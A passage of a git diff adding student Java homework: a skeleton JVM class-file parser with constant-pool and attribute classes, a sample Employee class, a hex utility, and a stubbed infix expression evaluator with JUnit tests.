+			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+    }
+    @Test
+    public void testClassIndex(){
+    	
+    	ClassIndex clzIndex = clzFile.getClzIndex();
+    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+    	
+    	
+    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+
+}
\ No newline at end of file
diff --git a/group24/Homework/5-FifthWeek/jvm/test/EmployeeV1.java b/group24/Homework/5-FifthWeek/jvm/test/EmployeeV1.java
new file mode 100644
index 0000000000..12e3d7efdd
--- /dev/null
+++ b/group24/Homework/5-FifthWeek/jvm/test/EmployeeV1.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.test;
+
+public class EmployeeV1 {
+	
+	
+	private String name;
+    private int age;
+    
+    public EmployeeV1(String name, int age) {
+        this.name = name;
+        this.age = age;        
+    }    
+
+    public void setName(String name) {
+        this.name = name;
+    }
+    public void setAge(int age){
+    	this.age = age;
+    }
+    public void sayHello() {        
+    	System.out.println("Hello , this is class Employee ");    	
+    }
+    public static void main(String[] args){
+    	EmployeeV1 p = new EmployeeV1("Andy",29);
+    	p.sayHello();    
+    	
+    }
+}
\ No newline at end of file
diff --git a/group24/Homework/5-FifthWeek/jvm/util/Util.java b/group24/Homework/5-FifthWeek/jvm/util/Util.java
new file mode 100644
index 0000000000..0c4cc8c57c
--- /dev/null
+++ b/group24/Homework/5-FifthWeek/jvm/util/Util.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.util;
+
+public class Util {
+	public static int byteToInt(byte[] codes){
+    	String s1 = byteToHexString(codes);
+    	return Integer.valueOf(s1, 16).intValue();
+    }
+    
+    
+    
+	public static String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+}
diff --git a/group24/Homework/6-SixWeek/InfixExpr.java b/group24/Homework/6-SixWeek/InfixExpr.java
new file mode 100644
index 0000000000..ef85ff007f
--- /dev/null
+++ b/group24/Homework/6-SixWeek/InfixExpr.java
@@ -0,0 +1,15 @@
+package com.coding.basic.stack.expr;
+
+public class InfixExpr {
+	String expr = null;
+	
+	public InfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		return 0.0f;
+	}
+	
+	
+}
diff --git a/group24/Homework/6-SixWeek/InfixExprTest.java b/group24/Homework/6-SixWeek/InfixExprTest.java
new file mode 100644
index 0000000000..20e34e8852
--- /dev/null
+++ b/group24/Homework/6-SixWeek/InfixExprTest.java
@@ -0,0 +1,52 @@
+package com.coding.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class InfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
+		{
+			InfixExpr expr = new InfixExpr("2+3*4+5");
+			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
+			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("3*20/2");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("20/2*3");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		
+		{
+			InfixExpr expr = new InfixExpr("10-30+50");
+			Assert.assertEquals(30, expr.evaluate(), 0.001f);
+		}
+		{
+			InfixExpr expr = new InfixExpr("10-2*3+50");
+			Assert.assertEquals(54, expr.evaluate(), 0.001f);
+		}
+		
+	}
+
+}
diff --git a/group24/Homework/6-SixWeek/README.txt b/group24/Homework/6-SixWeek/README.txt
new file mode 100644
index 0000000000..facdfabf7b
--- /dev/null
+++ b/group24/Homework/6-SixWeek/README.txt
@@ -0,0 +1,3 @@
+1. ʵ�ֶ�һ��.class�ļ����ֶκͷ����Ķ�ȡ �� ��������
+��Ҫʵ�ֵ�����ClassFileParser.java������ص��� ʵ�ֺ���Ҫͨ�����ԣ�ClassFileloaderTest.java
+2. ���ݽṹ�� ʵ��InfixExpr.java �� ��Ҫͨ��InfixExprTest.java
\ No newline at end of file
diff --git a/group24/Homework/6-SixWeek/jvm/attr/AttributeInfo.java b/group24/Homework/6-SixWeek/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..88f60c77f6
--- /dev/null
+++ b/group24/Homework/6-SixWeek/jvm/attr/AttributeInfo.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.attr;
+
+public abstract class AttributeInfo {
+	public static final String CODE = "Code";
+	public static final String CONST_VALUE = "ConstantValue";
+	public static final String EXCEPTIONS = "Exceptions";
+	public static final String LINE_NUM_TABLE = "LineNumberTable";
+	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+	public static final String STACK_MAP_TABLE = "StackMapTable";
+	int attrNameIndex;				
+	int attrLen ;
+	public AttributeInfo(int attrNameIndex, int attrLen) {
+		
+		this.attrNameIndex = attrNameIndex;
+		this.attrLen = attrLen;
+	}
+	
+	
+}
diff --git a/group24/Homework/6-SixWeek/jvm/attr/CodeAttr.java b/group24/Homework/6-SixWeek/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..c4c0c4c6c5
--- /dev/null
+++ b/group24/Homework/6-SixWeek/jvm/attr/CodeAttr.java
@@ -0,0 +1,70 @@
+package com.coderising.jvm.attr;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.cmd.CommandParser;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class CodeAttr extends AttributeInfo {
+	private int maxStack ;
+	private int maxLocals ;
+	private int codeLen ;
+	private String code;
+	public String getCode() {
+		return code;
+	}
+
+	private ByteCodeCommand[] cmds ;
+	public ByteCodeCommand[] getCmds() {		
+		return cmds;
+	}
+	private LineNumberTable lineNumTable;
+	private LocalVariableTable localVarTable;
+	private StackMapTable stackMapTable;
+	
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code ,ByteCodeCommand[] cmds) {
+		super(attrNameIndex, attrLen);
+		this.maxStack = maxStack;
+		this.maxLocals = maxLocals;
+		this.codeLen = codeLen;
+		this.code = code;
+		this.cmds = cmds;
+	}
+
+	public void setLineNumberTable(LineNumberTable t) {
+		this.lineNumTable = t;
+	}
+
+	public void setLocalVariableTable(LocalVariableTable t) {
+		this.localVarTable = t;		
+	}
+	
+	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
+		
+		return null;
+	}
+	
+
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		//buffer.append("Code:").append(code).append("\n");
+		for(int i=0;i<cmds.length;i++){
+			buffer.append(cmds[i].toString(pool)).append("\n");
+		}
+		buffer.append("\n");
+		buffer.append(this.lineNumTable.toString());
+		buffer.append(this.localVarTable.toString(pool));
+		return buffer.toString();
+	}
+	private void setStackMapTable(StackMapTable t) {
+		this.stackMapTable = t;
+		
+	}
+
+	
+	
+	
+	
+}
diff --git a/group24/Homework/6-SixWeek/jvm/attr/LineNumberTable.java b/group24/Homework/6-SixWeek/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..a31a1ff4d0
--- /dev/null
+++ b/group24/Homework/6-SixWeek/jvm/attr/LineNumberTable.java
@@ -0,0 +1,55 @@
+package com.coderising.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LineNumberTable extends AttributeInfo {
+	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+	
+	private static class LineNumberItem{
+		int startPC;
+		int lineNum;
+		public int getStartPC() {
+			return startPC;
+		}
+		public void setStartPC(int startPC) {
+			this.startPC = startPC;
+		}
+		public int getLineNum() {
+			return lineNum;
+		}
+		public void setLineNum(int lineNum) {
+			this.lineNum = lineNum;
+		}
+	}
+	public void addLineNumberItem(LineNumberItem item){
+		this.items.add(item);
+	}
+	public LineNumberTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);
+		
+	}
+	
+	public static LineNumberTable parse(ByteCodeIterator iter){
+		
+		return null;
+	}
+	
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Line Number Table:\n");
+		for(LineNumberItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("lineNum:"+item.getLineNum()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+		
+	}
+	
+	
+
+}
diff --git a/group24/Homework/6-SixWeek/jvm/attr/LocalVariableItem.java b/group24/Homework/6-SixWeek/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..962c3b8bc4
--- /dev/null
+++ b/group24/Homework/6-SixWeek/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,39 @@
+package com.coderising.jvm.attr;
+
+public class LocalVariableItem {
+	private int startPC;
+	private int length;
+	private int nameIndex;
+	private int descIndex;
+	private int index;
+	public int getStartPC() {
+		return startPC;
+	}
+	public void setStartPC(int startPC) {
+		this.startPC = startPC;
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+	public int getDescIndex() {
+		return descIndex;
+	}
+	public void setDescIndex(int descIndex) {
+		this.descIndex = descIndex;
+	}
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+}
diff --git a/group24/Homework/6-SixWeek/jvm/attr/LocalVariableTable.java b/group24/Homework/6-SixWeek/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..14db5dca46
--- /dev/null
+++ b/group24/Homework/6-SixWeek/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,42 @@
+package com.coderising.jvm.attr;
+
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ConstantPool;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LocalVariableTable extends AttributeInfo{
+
+	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+	
+	public LocalVariableTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+	
+	
+	private void addLocalVariableItem(LocalVariableItem item) {
+		this.items.add(item);		
+	}
+	
+	public static LocalVariableTable parse(ByteCodeIterator iter){
+		
+		return null;
+	}
+	
+	
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Local Variable Table:\n");
+		for(LocalVariableItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
+			buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
+			buffer.append("slotIndex:"+ item.getIndex()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+	}
+}
diff --git a/group24/Homework/6-SixWeek/jvm/attr/StackMapTable.java b/group24/Homework/6-SixWeek/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..18f2ad0360
--- /dev/null
+++ b/group24/Homework/6-SixWeek/jvm/attr/StackMapTable.java
@@ -0,0 +1,30 @@
+package com.coderising.jvm.attr;
+
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class StackMapTable extends AttributeInfo{
+	
+	private String originalCode;
+
+	public StackMapTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+
+	public static StackMapTable parse(ByteCodeIterator iter){
+		int index = iter.nextU2ToInt();
+		int len = iter.nextU4ToInt();
+		StackMapTable t = new StackMapTable(index,len);
+		
+		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
+		String code = iter.nextUxToHexString(len);
+		t.setOriginalCode(code);
+		
+		return t;
+	}
+
+	private void setOriginalCode(String code) {
+		this.originalCode = code;
+		
+	}
+}
diff --git a/group24/Homework/6-SixWeek/jvm/clz/AccessFlag.java b/group24/Homework/6-SixWeek/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..faae056835
--- /dev/null
+++ b/group24/Homework/6-SixWeek/jvm/clz/AccessFlag.java
@@ -0,0 +1,25 @@
+package com.coderising.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+	
+	public boolean isPublicClass(){
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+		return (this.flagValue & 0x0010) != 0;
+	}
+	
+}
\ No newline at end of file
diff --git a/group24/Homework/6-SixWeek/jvm/clz/ClassFile.java b/group24/Homework/6-SixWeek/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..2a8dfb6123
--- /dev/null
+++ b/group24/Homework/6-SixWeek/jvm/clz/ClassFile.java
@@ -0,0 +1,102 @@
+package com.coderising.jvm.clz;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
+
+public class ClassFile {
+	
+	private int minorVersion;
+	private int majorVersion;
+	
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+	private List<Field> fields = new ArrayList<Field>();
+	private List<Method> methods = new ArrayList<Method>();
+	
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	
+	
+	
+	public ConstantPool getConstantPool() {		
+		return pool;
+	}
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+		
+	}
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;		
+	}
+	
+	public void addField(Field f){
+		this.fields.add(f);
+	}
+	public List<Field> getFields(){
+		return this.fields;
+	}
+	public void addMethod(Method m){
+		this.methods.add(m);
+	}
+	public List<Method> getMethods() {
+		return methods;
+	}
+	
+	
+	public void print(){
+		
+		if(this.accessFlag.isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ getClassName());
+		
+		System.out.println("Super Class Name:"+ getSuperClassName());
+		
+		
+	}
+	
+	public String getClassName(){
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
+	}
+	public String getSuperClassName(){
+		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+	
+	public Method getMethod(String methodName, String paramAndReturnType){
+		
+		
+		return null;
+	}
+	public Method getMainMethod(){
+		
+		return null;
+	}
+}
diff --git a/group24/Homework/6-SixWeek/jvm/clz/ClassIndex.java b/group24/Homework/6-SixWeek/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..e424f284b3
--- /dev/null
+++ b/group24/Homework/6-SixWeek/jvm/clz/ClassIndex.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+	
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+}
\ No newline at end of file
diff --git a/group24/Homework/6-SixWeek/jvm/constant/ClassInfo.java b/group24/Homework/6-SixWeek/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..c8e65ff493
--- /dev/null
+++ b/group24/Homework/6-SixWeek/jvm/constant/ClassInfo.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index ;
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+	public void setUtf8Index(int utf8Index) {
+		this.utf8Index = utf8Index;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public String getClassName() {		
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();		
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitClassInfo(this);		
+	}
+}
diff --git a/group24/Homework/6-SixWeek/jvm/constant/ConstantInfo.java b/group24/Homework/6-SixWeek/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..88353df2d3
--- /dev/null
+++ b/group24/Homework/6-SixWeek/jvm/constant/ConstantInfo.java
@@ -0,0 +1,40 @@
+package com.coderising.jvm.constant;
+
+public abstract class ConstantInfo {
+	public static final int UTF8_INFO = 1;
+	public static final int FLOAT_INFO = 4;
+	public static final int CLASS_INFO = 7;
+	public static final int STRING_INFO = 8;
+	public static final int FIELD_INFO = 9;
+	public static final int METHOD_INFO = 10;
+	public static final int NAME_AND_TYPE_INFO = 12;
+	protected ConstantPool constantPool;
+	
+	public ConstantInfo(){
+		
+	}
+	
+	public ConstantInfo(ConstantPool pool) {
+		this.constantPool = pool;
+	}
+	public abstract int getType();
+	
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantPool.getConstantInfo(index);
+	}
+	
+	public abstract void accept(Visitor visitor);
+	
+	public static interface Visitor{
+		public void visitClassInfo(ClassInfo info);
+		public void visitFieldRef(FieldRefInfo info);
+		public void visitMethodRef(MethodRefInfo info);
+		public void visitNameAndType(NameAndTypeInfo info);
+		public void visitString(StringInfo info);
+		public void visistUTF8(UTF8Info info);
+		
+	}
+}
diff --git a/group24/Homework/6-SixWeek/jvm/constant/ConstantPool.java b/group24/Homework/6-SixWeek/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..7130eb3a9f
--- /dev/null
+++ b/group24/Homework/6-SixWeek/jvm/constant/ConstantPool.java
@@ -0,0 +1,31 @@
+package com.coderising.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+	
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+	
+	
+	public ConstantPool(){
+		
+	}
+	public void addConstantInfo(ConstantInfo info){
+		
+		this.constantInfos.add(info);
+		
+	}
+	
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantInfos.get(index);
+	}
+	public String getUTF8String(int index){
+		return ((UTF8Info)this.constantInfos.get(index)).getValue();
+	}
+	public int getSize() {		
+		return this.constantInfos.size() -1;
+	}
+	
+	
+}
diff --git a/group24/Homework/6-SixWeek/jvm/constant/FieldRefInfo.java b/group24/Homework/6-SixWeek/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..7ae71396ef
--- /dev/null
+++ b/group24/Homework/6-SixWeek/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,58 @@
+package com.coderising.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo{
+	private int type = ConstantInfo.FIELD_INFO;
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+	
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+		
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		
+		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
+	}
+	
+	public String getClassName(){
+		
+		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+		
+		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+		
+		return utf8Info.getValue();
+		
+	}
+	
+	public String getFieldName(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();		
+	}
+	
+	public String getFieldType(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();	
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitFieldRef(this);		
+	}
+}
diff --git a/group24/Homework/6-SixWeek/jvm/constant/MethodRefInfo.java b/group24/Homework/6-SixWeek/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..036e6d9055
--- /dev/null
+++ b/group24/Homework/6-SixWeek/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,60 @@
+package com.coderising.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	
+	private int type = ConstantInfo.METHOD_INFO;
+	
+	private int classInfoIndex;	
+	private int nameAndTypeIndex;
+	
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+	
+		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
+	}
+	public String getClassName(){
+		ConstantPool pool = this.getConstantPool();		
+		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
+		return clzInfo.getClassName();
+	}
+	
+	public String getMethodName(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+	
+	public String getParamAndReturnType(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitMethodRef(this);		
+	}
+	
+	
+	
+}
diff --git a/group24/Homework/6-SixWeek/jvm/constant/NameAndTypeInfo.java b/group24/Homework/6-SixWeek/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..5cbbba6033
--- /dev/null
+++ b/group24/Homework/6-SixWeek/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,51 @@
+package com.coderising.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo{
+	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
+	
+	private int index1;
+	private int index2;
+	
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+	
+	public int getIndex1() {
+		return index1;
+	}
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+	public int getIndex2() {
+		return index2;
+	}
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	
+	public String getName(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
+		return utf8Info1.getValue();
+	}
+	
+	public String getTypeInfo(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
+		return utf8Info2.getValue();
+	}
+	
+	public String toString(){
+		return "(" + getName() + "," + getTypeInfo()+")";
+	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitNameAndType(this);
+		
+	}
+}
diff --git a/group24/Homework/6-SixWeek/jvm/constant/NullConstantInfo.java b/group24/Homework/6-SixWeek/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..41e0fd7e7a
--- /dev/null
+++ b/group24/Homework/6-SixWeek/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,17 @@
+package com.coderising.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+
+	public NullConstantInfo(){
+		
+	}
+	@Override
+	public int getType() {		
+		return -1;
+	}
+	@Override
+	public void accept(Visitor visitor) {
+				
+	}
+	
+}
diff --git a/group24/Homework/6-SixWeek/jvm/constant/StringInfo.java b/group24/Homework/6-SixWeek/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..6bfcb47273
--- /dev/null
+++ b/group24/Homework/6-SixWeek/jvm/constant/StringInfo.java
@@ -0,0 +1,32 @@
+package com.coderising.jvm.constant;
+
+public class StringInfo extends ConstantInfo{
+	private int type = ConstantInfo.STRING_INFO;
+	private int index;
+	public StringInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+
+	
+	public String toString(){
+		return this.getConstantPool().getUTF8String(index);
+	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitString(this);
+		
+	}
+	
+}
diff --git a/group24/Homework/6-SixWeek/jvm/constant/UTF8Info.java b/group24/Homework/6-SixWeek/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..7db88a939e
--- /dev/null
+++ b/group24/Homework/6-SixWeek/jvm/constant/UTF8Info.java
@@ -0,0 +1,37 @@
+package com.coderising.jvm.constant;
+
+public class UTF8Info extends ConstantInfo{
+	private int type = ConstantInfo.UTF8_INFO;
+	private int length ;
+	private String value;
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getType() {
+		return type;
+	}
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
+	}
+	public String getValue() {
+		return value;
+	}
+	public void setValue(String value) {
+		this.value = value;
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visistUTF8(this);
+		
+	}
+	
+	
+
+}
diff --git a/group24/Homework/6-SixWeek/jvm/field/Field.java b/group24/Homework/6-SixWeek/jvm/field/Field.java
new file mode 100644
index 0000000000..c6eb0196f8
--- /dev/null
+++ b/group24/Homework/6-SixWeek/jvm/field/Field.java
@@ -0,0 +1,50 @@
+package com.coderising.jvm.field;
+
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class Field {
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	
+	
+	private ConstantPool pool;
+	
+	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
+		
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+		this.pool = pool;
+	}
+
+	public String toString() {
+		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+		
+		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+		return name +":"+ desc;
+	}
+	
+	
+	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
+		
+		int accessFlag = iter.nextU2ToInt();
+		int nameIndex = iter.nextU2ToInt();
+		int descIndex = iter.nextU2ToInt();
+		int attribCount = iter.nextU2ToInt();
+		//System.out.println("field attribute count:"+ attribCount);
+		
+		Field f = new Field(accessFlag, nameIndex, descIndex,pool);
+		
+		if(attribCount > 0){
+			throw new RuntimeException("Field Attribute has not been implemented");
+		}
+		
+		return f;
+	}
+
+}
diff --git a/group24/Homework/6-SixWeek/jvm/loader/ByteCodeIterator.java b/group24/Homework/6-SixWeek/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..6fb5570dff
--- /dev/null
+++ b/group24/Homework/6-SixWeek/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,57 @@
+package com.coderising.jvm.loader;
+
+import java.util.Arrays;
+
+import com.coderising.jvm.util.Util;
+
+public  class ByteCodeIterator {
+	byte[] codes;
+	int pos = 0;
+
+	ByteCodeIterator(byte[] codes) {
